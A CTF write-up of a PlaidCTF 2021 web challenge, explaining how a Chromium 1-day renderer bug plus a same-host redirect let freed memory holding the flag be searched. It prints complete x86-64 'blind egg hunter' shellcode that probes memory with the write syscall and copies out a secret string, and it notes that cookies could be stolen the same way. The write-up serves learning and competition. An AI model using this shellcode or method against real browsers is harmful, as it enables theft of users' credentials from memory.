I solved some pwnable tasks from PlaidCTF 2021. There was a challenge named "Carmen Sandiego Season 2", which was a series of two XSS challenges. Of course I hadn't checked the web task but I noticed a message in the channel.
The crawler to check XSS uses the Chromium browser of version
90.0.4403.0. (Thanks @S1r1us_ for the version info!)
If you're following @r4j0x00 on Twitter, you'd immediately notice this version of Chromium has a 1-day vulnerability.
The crawler must specify
--no-sandbox option, which disables the sandbox feature of the renderer process, to turn the vulnerability into RCE.
Unfortunately, however, the crawler is using the sandbox feature. (Thanks @po6ix for checking the options!)
Abusing the 1-day exploit to execute commands seems impossible.
Renderer Process and Redirection
Soon after I thought it was impossible to compromise the crawler, @po6ix found something interesting. The (sample) flag is on the memory.
Chromium uses a same renderer process for the same tab and the same host. This sounds natural but is a very important restriction for this attack.
His idea is, first make the crawler access to the flag, and then make it redirect to the exploit on the same host as the flag. We have XSS now. XSS takes place in the target host, and the credential to steal (flag this time) exists in the same host.*1
All modern web browsers use the garbage collection to manage objects. The objects swept by GC still stay on the memory. Some of the freed objects may be overwritten by the newly allocated objects, but the others may not.
In fact, the string objects (HTML and so on) are allocated on the heap and copied into some places. Some of them are overwritten after the redirect, but the other freed string objects are not. The credential to steal may stay on the memory even after the redirection.*2
Our goal is to somehow extract the credential from the memory and leak it.
Blind Egg Hunter
Finding a specific value from the memory reminded me of the egg hunter shellcode. However, we have no information of the address of the credential. The target object is already freed by GC and there's no pointer pointing to the object.
There're several ways to accomplish this.
My first idea is use
Using these instructions, we can tell if an access violation occured.
However, this method depends on the model of the CPU and my laptop doesn't support them. *3
The second idea is use
syscall for the oracle.
Even in the strict sandbox of Chromium, the renderer can still call some system calls such as
SYS_write and so on.
They are very useful for telling if a given address is mapped (accessible) or not.
The following code is the "blind" egg hunter to find a string that starts with
PCTF from the memory.
global _start section .text _start: push r12 push r10 push r9 push r8 push rbp xor ebx, ebx mov r12, 0x100000000 mov r9, 0x7fff00000000 mov rbp, 0x20000000000 find_base: and rbp, r9 mov r10, 0xf nauty_lp: mov rdi, rbp call is_mapped test eax, eax jnz find_flag add rbp, 0x1000 dec r10 jnz nauty_lp next_base: add rbp, r12 cmp rbp, r9 jge fail jmp find_base fail: mov eax, 1337 pop rbp pop r8 pop r9 pop r10 pop r12 ret find_flag: inc ebx mov r8, rbp next_flag: test r8, 0xfff jnz skip_check mov rdi, r8 call is_mapped test eax, eax jz skip skip_check: cmp dword [r8], 'PCTF' jz found_flag add r8, 4 cmp r8d, 0x0fff0000 jge next_base jmp next_flag skip: add r8, 0x1000 cmp r8d, 0x0fff0000 jge next_base jmp next_flag found_flag: call flag lp: mov al, [r8] mov [r12], al test al, al jz bye inc r8 inc r12 jmp lp bye: mov eax, 777 pop rbp pop r8 pop r9 pop r10 pop r12 ret ;; check if the address of rdi is mapped is_mapped: mov edx, 4 mov rsi, rdi mov edi, 1 mov eax, 1 syscall cmp eax, 4 jz mapped xor eax, eax ret mapped: mov eax, 1 ret flag: call flagger flagger: pop r12 ret
This works as a WebAssembly function in my exploit. The wasm function will return 777 if it finds the flag, otherwise 1337. The flag is saved at the tail of the shellcode. (Since we already have AAW primitive to inject the shellcode, we also have AAR primitive with which we can read the flag.)
I modified a published exploit for the 1-day exploitation part so that it works on the crawler. (Thenks @avboy1337 for the exploit.)
This is the screenshot of the exploit.
*1:Credentials such as the cookies can be stolen without the redirection by using the egg hunter I explain later.
*3:po6ix found xbegin is available on the remote server though